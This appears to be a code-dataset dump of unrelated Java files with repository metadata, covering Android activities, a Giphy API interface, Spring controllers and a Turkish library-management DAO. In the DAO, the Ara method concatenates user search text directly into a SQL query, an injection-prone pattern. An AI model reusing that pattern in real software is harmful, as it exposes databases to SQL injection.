onPageScrollStateChanged(int arg0) { } @Override public void onPageScrolled(int arg0, float arg1, int arg2) { } } /** * ๅคดๆ ‡็‚นๅ‡ป็›‘ๅฌ */ public class MyOnClickListener implements View.OnClickListener { private int index = 0; public MyOnClickListener(int i) { index = i; } @Override public void onClick(View v) { pager.setCurrentItem(index); } } }
[ "1755036940@qq.com" ]
1755036940@qq.com
f5c52eef2e263d10ae337843c8c767f4b06060ce
28a71144473e2770acc6e8ef2009d4d756eafdb2
/src/LightRoom.java
55c1972759b57de8ad490bbe4f078748f029a7ab
[]
no_license
sheebarl/JavaProject
97e18d86b14e361300b6a423bff08f81bbf3adc9
a73df6274338f0d63395186d180475c82567d0ec
refs/heads/master
2023-09-05T08:41:46.527332
2021-11-05T08:26:37
2021-11-05T08:26:37
424,875,281
0
1
null
null
null
null
UTF-8
Java
false
false
654
java
public class LightRoom extends Room{ public LightRoom(String type,String number, String dimension, int quantity,boolean check ){ super(type,number,dimension,quantity,check); } public String describe(){ room_description="It is a LightRoom where the animals can play " ; System.out.println(room_description); return room_description; } public String toString(){ return room_number + describe(); } public String getRoom_description(){ return room_description; } public void setRoom_description(String description){ this.room_description=description; } }
[ "rl.sheebanair@gmail.com" ]
rl.sheebanair@gmail.com
4776721050a43e129a6a1d7bc536aedb94e16d9d
a33aac97878b2cb15677be26e308cbc46e2862d2
/data/libgdx/btGeneric6DofSpring2Constraint_setLinearUpperLimit.java
2cd4941e05017a1a69edb050b06d1821b90f0cbc
[]
no_license
GabeOchieng/ggnn.tensorflow
f5d7d0bca52258336fc12c9de6ae38223f28f786
7c62c0e8427bea6c8bec2cebf157b6f1ea70a213
refs/heads/master
2022-05-30T11:17:42.278048
2020-05-02T11:33:31
2020-05-02T11:33:31
null
0
0
null
null
null
null
UTF-8
Java
false
false
154
java
public void setLinearUpperLimit(Vector3 linearUpper) { DynamicsJNI.btGeneric6DofSpring2Constraint_setLinearUpperLimit(swigCPtr, this, linearUpper); }
[ "bdqnghi@gmail.com" ]
bdqnghi@gmail.com
85ecf30e31d163154b4d849c2531467f5d9950e0
4ffd14eefb1dc3e42f6ed06762dc588f938ded5a
/app/src/main/java/com/ns/yc/lifehelper/ui/data/view/activity/RiddleDetailActivity.java
414afb335f41a363f89812b54a092f3a4286ca40
[ "Apache-2.0" ]
permissive
i6u/LifeHelper
eede83c28d1ac26db459ecfc28a86d15d030b1db
c31368a40acc34e13ca30c6a6a8d4f73ffcdb72c
refs/heads/master
2021-09-01T12:46:16.825589
2017-12-27T02:49:10
2017-12-27T02:49:10
null
0
0
null
null
null
null
UTF-8
Java
false
false
5,427
java
package com.ns.yc.lifehelper.ui.data.view.activity; import android.content.Intent; import android.support.v7.widget.Toolbar; import android.view.View; import android.widget.FrameLayout; import android.widget.TextView; import com.ns.yc.lifehelper.R; import com.ns.yc.lifehelper.api.ConstantALiYunApi; import com.ns.yc.lifehelper.base.BaseActivity; import com.ns.yc.lifehelper.ui.find.model.bean.RiddleDetailBean; import com.ns.yc.lifehelper.ui.find.model.RiddleDetailModel; import java.util.List; import butterknife.Bind; import rx.Subscriber; import rx.android.schedulers.AndroidSchedulers; import rx.schedulers.Schedulers; /** * ================================================ * ไฝœ ่€…๏ผšๆจๅ…… * ็‰ˆ ๆœฌ๏ผš1.0 * ๅˆ›ๅปบๆ—ฅๆœŸ๏ผš2017/8/31 * ๆ ่ฟฐ๏ผš่ฐœ่ฏญ่ฏฆๆƒ…้กต้ข * ไฟฎ่ฎขๅކๅฒ๏ผš * ================================================ */ public class RiddleDetailActivity extends BaseActivity implements View.OnClickListener { @Bind(R.id.ll_title_menu) FrameLayout llTitleMenu; @Bind(R.id.toolbar_title) TextView toolbarTitle; @Bind(R.id.ll_search) FrameLayout llSearch; @Bind(R.id.toolbar) Toolbar toolbar; @Bind(R.id.tv_riddle_one) TextView tvRiddleOne; @Bind(R.id.tv_riddle_qa) TextView tvRiddleQa; @Bind(R.id.tv_look_one) TextView tvLookOne; @Bind(R.id.tv_riddle_two) TextView tvRiddleTwo; @Bind(R.id.tv_riddle_qa_two) TextView tvRiddleQaTwo; @Bind(R.id.tv_look_two) TextView tvLookTwo; private String type; private String classId; private int pagenum = 1; //ๅฝ“ๅ‰้กต private int pagesize = 2; //ๆฏ้กตๆ•ฐๆฎ ๆœ€ๅคงไธบ2 private String keyword = ""; //ๆœ็ดขๅ…ณ้”ฎ่ฏ private boolean isLookOne = false; //่ฐœๅบ•ๆ˜ฏๅฆๅฏ่ง private boolean isLookTwo = false; @Override public int getContentView() { return R.layout.activity_other_riddle_detail; } @Override public void initView() { initToolBar(); initIntentData(); } private void initIntentData() { Intent intent = getIntent(); if (intent != null) { type = intent.getStringExtra("type"); classId = intent.getStringExtra("classId"); } if (type == null || type.length() == 0) { type = "ๅญ—่ฐœ"; } if (classId == null || classId.length() == 0) { classId = "1"; } } private void initToolBar() { toolbarTitle.setText("่ฐœ่ฏญๅคงๅ…จ"); llSearch.setVisibility(View.VISIBLE); } @Override public void initListener() { llTitleMenu.setOnClickListener(this); llSearch.setOnClickListener(this); tvLookOne.setOnClickListener(this); tvLookTwo.setOnClickListener(this); } @Override public void initData() { tvRiddleQa.setVisibility(View.INVISIBLE); tvRiddleQaTwo.setVisibility(View.INVISIBLE); getRiddleData(type, keyword, pagenum, pagesize); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.ll_search: break; case R.id.ll_title_menu: finish(); break; case R.id.tv_look_one: if(isLookOne){ tvRiddleQa.setVisibility(View.GONE); }else { tvRiddleQa.setVisibility(View.VISIBLE); } isLookOne = !isLookOne; break; case R.id.tv_look_two: if(isLookTwo){ tvRiddleQaTwo.setVisibility(View.GONE); }else { tvRiddleQaTwo.setVisibility(View.VISIBLE); } isLookTwo = !isLookTwo; break; } } private void getRiddleData(String type, String keyword, int pagenum, int pagesize) { RiddleDetailModel model = RiddleDetailModel.getInstance(this); model.getRiddleDetail(ConstantALiYunApi.Key, type, keyword, String.valueOf(pagenum), String.valueOf(pagesize)) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new Subscriber<RiddleDetailBean>() { @Override public void onCompleted() { } @Override public void onError(Throwable e) { } @Override public void onNext(RiddleDetailBean riddleDetailBean) { if (riddleDetailBean != null) { if(riddleDetailBean.getResult()!=null && riddleDetailBean.getResult().getList()!=null){ List<RiddleDetailBean.ResultBean.ListBean> list = riddleDetailBean.getResult().getList(); if(list.size()>1){ tvRiddleOne.setText(list.get(0).getContent()); tvRiddleQa.setText(list.get(0).getAnswer()); tvRiddleTwo.setText(list.get(1).getContent()); tvRiddleQaTwo.setText(list.get(1).getAnswer()); } } } } }); } }
[ "yangchong211@163.com" ]
yangchong211@163.com
aa979e91d86c8feab21f0fd36245cd90f22c6ec9
362baf528fea4f27b5f7a5e7503be540cbeff833
/app/src/main/java/com/mavericks/myocontroller/models/Motion.java
981b770c0d744d89bbb85bff2fe24323a4826a95
[]
no_license
anuragdadheech/myoApp
9642a55c356a203345b2a389662ea14b0eb8aac2
09153465b2bb23811b4e842fd62c6fed534bf660
refs/heads/master
2020-12-25T14:22:54.400683
2016-09-11T08:59:11
2016-09-11T08:59:11
67,902,453
1
0
null
null
null
null
UTF-8
Java
false
false
201
java
package com.mavericks.myocontroller.models; /** * @author Anurag */ public enum Motion { THUMP_UP, THUMP_DOWN, SWIPE_LEFT, SWIPE_RIGHT, ROTATE_LEFT, ROTATE_RIGHT, NONE }
[ "anuragdadheech1990@gmail.com" ]
anuragdadheech1990@gmail.com
919e0b42977bb6269ffe37d19ba302fc37bab5cb
caeaf7b7917fdfac7d286b389accc9743a901a7c
/app/src/main/java/com/yumashish/kakunin/GUI/Maps/PlaceAutocompleteAdapter.java
959ce4de32b899d86673a80bad080afe203307f8
[]
no_license
thundercraker/GOGAKakunin
a2ab0b853affa01368d4428a08459061f9c404c2
72e8b12c9852e48183694cd72df4ac4c515bf47b
refs/heads/master
2021-01-10T02:32:12.691585
2016-01-20T04:48:16
2016-01-20T04:48:16
48,224,908
0
0
null
null
null
null
UTF-8
Java
false
false
9,400
java
package com.yumashish.kakunin.GUI.Maps; /* * Copyright (C) 2015 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import com.google.android.gms.common.api.GoogleApiClient; import com.google.android.gms.common.api.PendingResult; import com.google.android.gms.common.api.Status; import com.google.android.gms.common.data.DataBufferUtils; import com.google.android.gms.location.places.AutocompleteFilter; import com.google.android.gms.location.places.AutocompletePrediction; import com.google.android.gms.location.places.AutocompletePredictionBuffer; import com.google.android.gms.location.places.Places; import com.google.android.gms.maps.model.LatLngBounds; import android.content.Context; import android.graphics.Typeface; import android.text.style.CharacterStyle; import android.text.style.StyleSpan; import android.util.Log; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.Filter; import android.widget.Filterable; import android.widget.TextView; import android.widget.Toast; import java.util.ArrayList; import java.util.Iterator; import java.util.concurrent.TimeUnit; /** * Adapter that handles Autocomplete requests from the Places Geo Data API. * {@link AutocompletePrediction} results from the API are frozen and stored directly in this * adapter. (See {@link AutocompletePrediction#freeze()}.) * <p> * Note that this adapter requires a valid {@link com.google.android.gms.common.api.GoogleApiClient}. * The API client must be maintained in the encapsulating Activity, including all lifecycle and * connection states. The API client must be connected with the {@link Places#GEO_DATA_API} API. */ public class PlaceAutocompleteAdapter extends ArrayAdapter<AutocompletePrediction> implements Filterable { private static final String TAG = "GOGA_HUDDLE_PAC"; private static final CharacterStyle STYLE_BOLD = new StyleSpan(Typeface.BOLD); /** * Current results returned by this adapter. */ private ArrayList<AutocompletePrediction> mResultList; /** * Handles autocomplete requests. */ private GoogleApiClient mGoogleApiClient; /** * The bounds used for Places Geo Data autocomplete API requests. */ private LatLngBounds mBounds; /** * The autocomplete filter used to restrict queries to a specific set of place types. */ private AutocompleteFilter mPlaceFilter; /** * Initializes with a resource for text rows and autocomplete query bounds. * * @see android.widget.ArrayAdapter#ArrayAdapter(android.content.Context, int) */ public PlaceAutocompleteAdapter(Context context, GoogleApiClient googleApiClient, LatLngBounds bounds, AutocompleteFilter filter) { super(context, android.R.layout.simple_expandable_list_item_2, android.R.id.text1); mGoogleApiClient = googleApiClient; mBounds = bounds; mPlaceFilter = filter; } /** * Sets the bounds for all subsequent queries. */ public void setBounds(LatLngBounds bounds) { mBounds = bounds; } /** * Returns the number of results received in the last autocomplete query. */ @Override public int getCount() { return mResultList.size(); } /** * Returns an item from the last autocomplete query. */ @Override public AutocompletePrediction getItem(int position) { return mResultList.get(position); } @Override public View getView(int position, View convertView, ViewGroup parent) { View row = super.getView(position, convertView, parent); // Sets the primary and secondary text for a row. // Note that getPrimaryText() and getSecondaryText() return a CharSequence that may contain // styling based on the given CharacterStyle. AutocompletePrediction item = getItem(position); TextView textView1 = (TextView) row.findViewById(android.R.id.text1); TextView textView2 = (TextView) row.findViewById(android.R.id.text2); textView1.setText(item.getPrimaryText(STYLE_BOLD)); textView2.setText(item.getSecondaryText(STYLE_BOLD)); return row; } /** * Returns the filter for the current set of autocomplete results. */ @Override public Filter getFilter() { return new Filter() { @Override protected FilterResults performFiltering(CharSequence constraint) { FilterResults results = new FilterResults(); // Skip the autocomplete query if no constraints are given. if (constraint != null) { // Query the autocomplete API for the (constraint) search string. mResultList = getAutocomplete(constraint); if (mResultList != null) { // The API successfully returned results. results.values = mResultList; results.count = mResultList.size(); } } return results; } @Override protected void publishResults(CharSequence constraint, FilterResults results) { if (results != null && results.count > 0) { // The API returned at least one result, update the data. notifyDataSetChanged(); } else { // The API did not return any results, invalidate the data set. notifyDataSetInvalidated(); } } @Override public CharSequence convertResultToString(Object resultValue) { // Override this method to display a readable result in the AutocompleteTextView // when clicked. if (resultValue instanceof AutocompletePrediction) { return ((AutocompletePrediction) resultValue).getFullText(null); } else { return super.convertResultToString(resultValue); } } }; } /** * Submits an autocomplete query to the Places Geo Data Autocomplete API. * Results are returned as frozen AutocompletePrediction objects, ready to be cached. * objects to store the Place ID and description that the API returns. * Returns an empty list if no results were found. * Returns null if the API client is not available or the query did not complete * successfully. * This method MUST be called off the main UI thread, as it will block until data is returned * from the API, which may include a network request. * * @param constraint Autocomplete query string * @return Results from the autocomplete API or null if the query was not successful. * @see Places#GEO_DATA_API#getAutocomplete(CharSequence) * @see AutocompletePrediction#freeze() */ private ArrayList<AutocompletePrediction> getAutocomplete(CharSequence constraint) { if (mGoogleApiClient.isConnected()) { Log.i(TAG, "Starting autocomplete query for: " + constraint); // Submit the query to the autocomplete API and retrieve a PendingResult that will // contain the results when the query completes. PendingResult<AutocompletePredictionBuffer> results = Places.GeoDataApi .getAutocompletePredictions(mGoogleApiClient, constraint.toString(), mBounds, mPlaceFilter); // This method should have been called off the main UI thread. Block and wait for at most 60s // for a result from the API. AutocompletePredictionBuffer autocompletePredictions = results .await(60, TimeUnit.SECONDS); // Confirm that the query completed successfully, otherwise return null final Status status = autocompletePredictions.getStatus(); if (!status.isSuccess()) { Toast.makeText(getContext(), "Error contacting API: " + status.toString(), Toast.LENGTH_SHORT).show(); Log.e(TAG, "Error getting autocomplete prediction API call: " + status.toString()); autocompletePredictions.release(); return null; } Log.i(TAG, "Query completed. Received " + autocompletePredictions.getCount() + " predictions."); // Freeze the results immutable representation that can be stored safely. return DataBufferUtils.freezeAndClose(autocompletePredictions); } Log.e(TAG, "Google API client is not connected for autocomplete query."); return null; } }
[ "yumashish@gmail.com" ]
yumashish@gmail.com
cfdf4b151843d8b8e13901252638ed355069b6fa
9f3a8de6c1425a1d7146d4d36a1027146e2e71e8
/src/main/java/cn/itcast/dao/UserDao.java
4d3466bdf8df2b21963f167a0b04f343b38cc05a
[ "MIT" ]
permissive
wuzhiweiallen/sshdemo
9e742868c36793993afe05b304d81c37f52aae8e
ae0d2e51242da6006cf756701577f9a5c6c76a03
refs/heads/master
2021-01-18T22:45:39.308074
2017-05-01T11:12:45
2017-05-01T11:12:45
87,069,822
0
0
null
null
null
null
UTF-8
Java
false
false
335
java
package cn.itcast.dao; import cn.itcast.entity.User; public interface UserDao { /** * * @param username * @param password * @return */ public User login(String username,String password); /** * * @param user */ public void save (User user); /** * * @param user */ public void updateUser(User user); }
[ "84234261@qq.com" ]
84234261@qq.com
b61c4f6870eaaac258b6c3580a3672584e3a09c5
ae8fc5aa40790c5acd7e072d3809755f66938fbb
/src/Kitap/KitapIslemler.java
53cf4316ff11a5ca5c1fe83e5761e29bfdf5207e
[]
no_license
Gof19/KutuphaneOtomasyonSistemi
5d021d15874b8c9878aa9222085fd15a03c83ca5
0a8e460e8003601be4837346667fc09589a39364
refs/heads/master
2023-02-03T04:36:38.209804
2020-12-20T18:56:27
2020-12-20T18:56:27
321,814,588
0
1
null
null
null
null
UTF-8
Java
false
false
5,453
java
package Kitap; import Kitap.*; import KutuphaneOtomasyon.DbHelper; import java.sql.*; import java.util.ArrayList; import javax.swing.JComboBox; public class KitapIslemler implements IKitapIslemler { @Override public void Ekle(Kitap kitap) { Connection connection = null; DbHelper DbHelper = new DbHelper(); PreparedStatement statement = null; try { connection = DbHelper.getConnection(); String sql = "insert into kitap (kitap_adi, kitap_yazari, kitap_yayinevi,kitap_turu,kitap_barkod,kitap_rafno) values(?,?,?,?,?,?)"; statement = connection.prepareStatement(sql); statement.setString(1, kitap.getAd()); statement.setString(2, kitap.getYazar()); statement.setString(3, kitap.getYayinevi()); statement.setString(4, kitap.getTur()); statement.setString(5, kitap.getBarkod()); statement.setString(6, kitap.getRafNo()); int result = statement.executeUpdate(); } catch (SQLException exception) { DbHelper.showErrorMessage(exception); } finally { try { statement.close(); connection.close(); } catch (SQLException ex) { } } } @Override public void Sil(int id) { Connection connection = null; DbHelper DbHelper = new DbHelper(); PreparedStatement statement = null; try { connection = DbHelper.getConnection(); String sql = "DELETE FROM kitap WHERE kitap_id = " + id; statement = connection.prepareStatement(sql); int result = statement.executeUpdate(); } catch (SQLException exception) { DbHelper.showErrorMessage(exception); } finally { try { statement.close(); connection.close(); } catch (SQLException ex) { } } } @Override public void Gรผncelle(Kitap kitap, int id) { Connection connection = null; DbHelper DbHelper = new DbHelper(); PreparedStatement statement = null; //Personel Gรผncelle try { connection = DbHelper.getConnection(); System.out.println(id); String query = "UPDATE kitap SET kitap_adi=?, kitap_yazari=?, kitap_yayinevi=?, kitap_turu=?, kitap_barkod=?, kitap_rafno=? WHERE kitap_id=" + id; PreparedStatement pst = connection.prepareStatement(query); pst.setString(1, kitap.getAd()); pst.setString(2, kitap.getYazar()); pst.setString(3, kitap.getYayinevi()); pst.setString(4, kitap.getTur()); pst.setString(5, kitap.getBarkod()); pst.setString(6, kitap.getRafNo()); pst.executeUpdate(); } catch (Exception e) { System.out.println(e); } } @Override public ArrayList<Kitap> Ara(String text) { Connection connection = null; DbHelper DbHelper = new DbHelper(); Statement statement = null; ArrayList<Kitap> kitaplar = null; try { connection = DbHelper.getConnection(); String sql = "SELECT * FROM kitap WHERE kitap_adi LIKE '%" + text + "%' or kitap_yazari LIKE '%" + text + "%' or kitap_yayinevi LIKE '%" + text + "%' or kitap_turu LIKE '%" + text + "%' or kitap_barkod LIKE '%" + text + "%' or kitap_rafno LIKE '%" + text + "%'"; statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(sql); kitaplar = new ArrayList<Kitap>(); while (resultSet.next()) { kitaplar.add(new Kitap( resultSet.getInt("kitap_id"), resultSet.getString("kitap_adi"), resultSet.getString("kitap_yazari"), resultSet.getString("kitap_yayinevi"), resultSet.getString("kitap_turu"), resultSet.getString("kitap_barkod"), resultSet.getString("kitap_rafno") )); } } catch (SQLException exception) { DbHelper.showErrorMessage(exception); } return kitaplar; } @Override public ArrayList<Kitap> Listele() { Connection connection = null; DbHelper DbHelper = new DbHelper(); Statement statement = null; ArrayList<Kitap> kitaplar = null; try { connection = DbHelper.getConnection(); statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery("select * from kitap"); kitaplar = new ArrayList<Kitap>(); while (resultSet.next()) { kitaplar.add(new Kitap( resultSet.getInt("kitap_id"), resultSet.getString("kitap_adi"), resultSet.getString("kitap_yazari"), resultSet.getString("kitap_yayinevi"), resultSet.getString("kitap_turu"), resultSet.getString("kitap_barkod"), resultSet.getString("kitap_rafno") )); } } catch (SQLException exception) { DbHelper.showErrorMessage(exception); } return kitaplar; } }
[ "enesbatin97@hotmail.com" ]
enesbatin97@hotmail.com
9d936633a0155110cb3399cb2401a064d1d31d8c
b980363b626924dc6122dcc98a76b3135162ce88
/level15/lesson12/home06/Solution.java
a3f1a06a3b7aa5667f6a4fadb56ee9b882dd61c6
[]
no_license
SBlazhko/My_JavaRush
f0683529cd69a9c9c84be8989dbeb482b7944f67
47a1c89eeb8529d8da429bb75776e894e8a9b501
refs/heads/master
2020-12-31T04:42:25.647993
2016-06-06T21:18:10
2016-06-06T21:18:10
56,515,174
0
0
null
null
null
null
UTF-8
Java
false
false
1,351
java
package com.javarush.test.level15.lesson12.home06; /* ะŸะพั€ัะดะพะบ ะทะฐะณั€ัƒะทะบะธ ะฟะตั€ะตะผะตะฝะฝั‹ั… ะ ะฐะทะพะฑั€ะฐั‚ัŒัั, ั‡ั‚ะพ ะฒ ะบะฐะบะพะน ะฟะพัะปะตะดะพะฒะฐั‚ะตะปัŒะฝะพัั‚ะธ ะธะฝะธั†ะธะฐะปะธะทะธั€ัƒะตั‚ัั. ะ˜ัะฟั€ะฐะฒะธั‚ัŒ ะฟะพั€ัะดะพะบ ะธะฝะธั†ะธะฐะปะธะทะฐั†ะธะธ ะดะฐะฝะฝั‹ั… ั‚ะฐะบ, ั‡ั‚ะพะฑั‹ ั€ะตะทัƒะปัŒั‚ะฐั‚ ะฑั‹ะป ัะปะตะดัƒัŽั‰ะธะผ: static void init() Static block public static void main non-static block static void printAllFields 0 null Solution constructor static void printAllFields 6 First name */ public class Solution { static { init(); } public static void init() { System.out.println("static void init()"); } static { System.out.println("Static block"); } { System.out.println("non-static block"); printAllFields(this); } public String name = "First name"; public int i = 6; public Solution() { System.out.println("Solution constructor"); printAllFields(this); } public static void main(String[] args) { System.out.println("public static void main"); Solution s = new Solution(); } public static void printAllFields(Solution obj) { System.out.println("static void printAllFields"); System.out.println(obj.i); System.out.println(obj.name); } }
[ "Blaghco@ukr.net" ]
Blaghco@ukr.net
2ae6c6ea0f91c461cbc4f3263fef6a20caa9d823
d4b9902e431285794a81623f38979c2b8dac997a
/DAO_movie/src/DBCPJ/Play.java
3afd9695991730215977e2f83d5ce19927aba8d4
[]
no_license
Movie-commit-test/database-Movie2
5d50320e199a55301383e32f1eff03224c2b6dc8
fb9471272922fce6f2bba5b0b1b6edce489fe2ed
refs/heads/master
2020-04-12T18:12:16.086556
2019-01-04T10:11:47
2019-01-04T10:11:47
162,672,686
0
0
null
null
null
null
UTF-8
Java
false
false
337
java
package DBCPJ; public class Play { private String actorId; private String movieId; public String getMovieId() { return movieId; } public void setMovieId(String movieId) { this.movieId = movieId; } public String getActorId() { return actorId; } public void setActorId(String actorId) { this.actorId = actorId; } }
[ "269070862@qq.com" ]
269070862@qq.com
c389831b840f1936857907df41b9c8c05261a1d8
5378da34fd5376f633225425b82bd5f5d51ef632
/src/com/kdotj/simplegiphy/GiphyService.java
8564e14d3bfc43f2f948eec324abfb65e6d23086
[ "Apache-2.0" ]
permissive
kylejablonski/simple-giphy-java
43c72a7d614f9971c01fd101a015c0f90d455242
95b53b45da3d9c67355503668c12bd4dae24e051
refs/heads/master
2021-01-11T00:38:07.197097
2016-10-11T19:01:18
2016-10-11T19:01:18
70,506,988
1
0
null
null
null
null
UTF-8
Java
false
false
2,267
java
package com.kdotj.simplegiphy; import retrofit2.Call; import retrofit2.http.GET; import retrofit2.http.Path; import retrofit2.http.Query; import com.kdotj.simplegiphy.data.GiphyListResponse; import com.kdotj.simplegiphy.data.RandomGiphyResponse; import com.kdotj.simplegiphy.data.SimpleGiphyResponse; /** * Giphy Service for getting the Giphy data or Sticker data * <p>Both stickers and Giphy's return the same types of objects, they just contain different information from the Giphy API</p> * @author Kyle Jablonski * */ public interface GiphyService { /*------------------------------------------------------------------------------------------- * Giphy Api ------------------------------------------------------------------------------------------*/ @GET("gifs/{gif_id}") Call<SimpleGiphyResponse> gifById(@Path("gif_id") String giphyId); @GET("gifs") Call<GiphyListResponse> gifByIds(@Query("ids") String ids); @GET("gifs/search") Call<GiphyListResponse> search(@Query("q") String query, @Query("limit") String limit, @Query("offset") String offset, @Query("rating") String rating); @GET("gifs/trending") Call<GiphyListResponse> trending(@Query("limit") String limit, @Query("rating") String rating); @GET("gifs/random") Call<RandomGiphyResponse> random(@Query("tag") String tag, @Query("rating") String rating); @GET("gifs/translate") Call<SimpleGiphyResponse> translate(@Query("s") String term, @Query("rating") String rating); /*------------------------------------------------------------------------------------------- * Stickers Api ------------------------------------------------------------------------------------------*/ @GET("stickers/search") Call<GiphyListResponse> searchStickers(@Query("q") String query, @Query("limit") String limit, @Query("offset") String offset, @Query("rating") String rating); @GET("stickers/random") Call<RandomGiphyResponse> randomSticker(@Query("tag") String tag, @Query("rating") String rating); @GET("stickers/trending") Call<GiphyListResponse> trendingStickers(@Query("limit") String limit, @Query("rating") String rating); @GET("stickers/translate") Call<SimpleGiphyResponse> translateSticker(@Query("s") String term, @Query("rating") String rating); }
[ "kyle@eventjoy.com" ]
kyle@eventjoy.com
30807282eedadc9aa4084a2702d5ddefca0de65f
479bcf180e9d58d31f5d7bac66c35868879a5e23
/Spring-Data/Exams/hiberspring/src/main/java/hiberspring/repository/ProductRepository.java
95fea67e5033ea8c876c4b1e336b07519162098b
[]
no_license
SimeonKazandzhiev/Software-University-DataBase-module
d3f8e6bb762aabe681bee5f7c3929733ee848301
ef32ba12c5f654bd20c753e075ccd706a2a87234
refs/heads/main
2023-07-17T23:16:42.388733
2021-08-31T09:48:17
2021-08-31T09:48:17
344,182,026
2
0
null
null
null
null
UTF-8
Java
false
false
278
java
package hiberspring.repository; import hiberspring.domain.entities.Product; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.stereotype.Repository; @Repository public interface ProductRepository extends JpaRepository<Product,Long> { }
[ "simeon.tu@gmail.com" ]
simeon.tu@gmail.com
0e3cafbef9a67a5e6b0089b5cbca2d5189bce9a8
46772468cf1e9116a334b1cf95f38c8b6f24bfb0
/src/by/it/popkov/jd02_03/Helper.java
2fd912964bbf78d4645f06157a988777325d93b2
[]
no_license
ilyashpakovski/JD2019-12-03
3f8b0d0d73103bc1a925fd18dcae4850149da45e
80efcd87697ec00370305eacb5ee6f0f37dd14a0
refs/heads/master
2020-11-25T07:30:37.036435
2020-03-04T18:22:06
2020-03-04T18:22:06
228,557,550
1
2
null
2019-12-17T07:23:07
2019-12-17T07:23:06
null
UTF-8
Java
false
false
538
java
package by.it.popkov.jd02_03; import java.util.Random; class Helper { static void delay(int delay) { try { Thread.sleep(delay / Dispatcher.SPEED_BOOST); } catch (InterruptedException e) { e.printStackTrace(); } } private static Random random = new Random(System.nanoTime()); public static int randNum(int min, int max) { return random.nextInt((max - min) + 1) + min; } public static int randNumUntil(int max) { return randNum(0, max); } }
[ "vladislav.minsk.by@gmail.com" ]
vladislav.minsk.by@gmail.com
8250358868c89a4659a37da655367b683d5c0f24
62c429e539dccb058e645430c0374992a95d4e03
/src/main/java/net/astroway/yw/rrsdp/controller/StaticHomeController.java
3cc427a8d9a566c6fd5ee93ba701bf090021072e
[]
no_license
gitliulei/dp-data
c6edfa69f247cd248c5aa2158d84a21b802ab68d
d9b38ae3b30d78c925ba904c0cfbb5ce570fee3c
refs/heads/master
2021-03-19T18:24:32.797725
2017-10-18T07:59:39
2017-10-18T07:59:39
107,376,677
0
0
null
null
null
null
UTF-8
Java
false
false
4,302
java
package net.astroway.yw.rrsdp.controller; import net.astroway.yw.base.controller.BaseController; import net.astroway.yw.rrsdp.model.StaticHome; import net.astroway.yw.rrsdp.service.StaticHomeService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import java.util.List; /** * @Desc ๏ผˆๅค–้ƒจ๏ผ‰้ฆ–้กตController * @Author: syk * @Date 2017/10/7 */ @Controller @RequestMapping("/api/statichome") public class StaticHomeController extends BaseController{ @Autowired StaticHomeService staticHomeService; /** * @desc ๆŸฅ่ฏข * @param * @return */ @RequestMapping(value = "getAll", method = RequestMethod.GET) public ResponseEntity getAll() { List<StaticHome> staticHomeList = staticHomeService.getAll(); return ok().body(staticHomeList).build(); } /** * @desc ๆ–ฐๅขž * @param staticHome * @return */ @RequestMapping(value = "add", method = RequestMethod.POST) public ResponseEntity add(@RequestBody StaticHome staticHome) { String key = staticHomeService.add(staticHome); return ok().body(key).build(); } /** * @desc ๆ›ดๆ–ฐ * @param staticHome * @return */ @RequestMapping(value = "edit", method = RequestMethod.POST) public ResponseEntity edit(@RequestBody StaticHome staticHome) { staticHomeService.edit(staticHome); return ok().build(); } /** * @desc ๆŸฅ่ฏขไป“ๅบ“ไฟกๆฏๆ•ฐๆฎ * @param * @return */ @RequestMapping(value = "getStaticWarehouseInfo",method = RequestMethod.GET) public ResponseEntity getStaticWarehouseInfo(){ StaticHome staticHome = staticHomeService.getStaticWarehouseInfo(); return ok().body(staticHome).build(); } /** * @desc ๆŸฅ่ฏขไป“ๅบ“ๅˆ†ๅธƒๅ›พๆ•ฐๆฎ * @param * @return */ @RequestMapping(value = "getStaticWarehouseDistributed",method = RequestMethod.GET) public ResponseEntity getStaticWarehouseDistributed(){ StaticHome staticHome = staticHomeService.getStaticWarehouseDistributed(); return ok().body(staticHome).build(); } /** * @desc ๆŸฅ่ฏข้ฆ–้กตไธญ้—ดๅ›พๆ•ฐๆฎ * @param * @return */ @RequestMapping(value = "getStaticHomeCenter",method = RequestMethod.GET) public ResponseEntity getStaticHomeCenter(){ StaticHome staticHome = staticHomeService.getStaticHomeCenter(); return ok().body(staticHome).build(); } /** * @desc ๏ผˆๅค–้ƒจ้ฆ–้กต๏ผ‰ๆŸฅ่ฏขๅนฒ็บฟๆ”ถ/ๅ‘่ดงๅ‡†ๆ—ถ็އ * @param * @return */ @RequestMapping(value = "getStaticTrunkPunctuality", method = RequestMethod.GET) public ResponseEntity getStaticTrunkPunctuality() { StaticHome staticHome = staticHomeService.getStaticTrunkPunctuality(); return ok().body(staticHome).build(); } /** * @desc ๏ผˆๅค–้ƒจ้ฆ–้กต๏ผ‰ๆŸฅ่ฏขๅนฒ็บฟ/ๅŸบๅœฐๅˆ†ๅธƒๅ›พ * @param * @return */ @RequestMapping(value = "getStaticTrunkDistributionMap", method = RequestMethod.GET) public ResponseEntity getStaticTrunkDistributionMap() { StaticHome staticHome = staticHomeService.getStaticTrunkDistributionMap(); return ok().body(staticHome).build(); } /** * @desc ๏ผˆๅค–้ƒจ้ฆ–้กต๏ผ‰ๆŸฅ่ฏขไธญๅฟƒๆ”ถ/ๅ‘่ดงๅ‡†ๆ—ถ็އ * @param * @return */ @RequestMapping(value = "getStaticCenterPunctuality", method = RequestMethod.GET) public ResponseEntity getStaticCenterPunctuality() { StaticHome staticHome = staticHomeService.getStaticCenterPunctuality(); return ok().body(staticHome).build(); } /** * 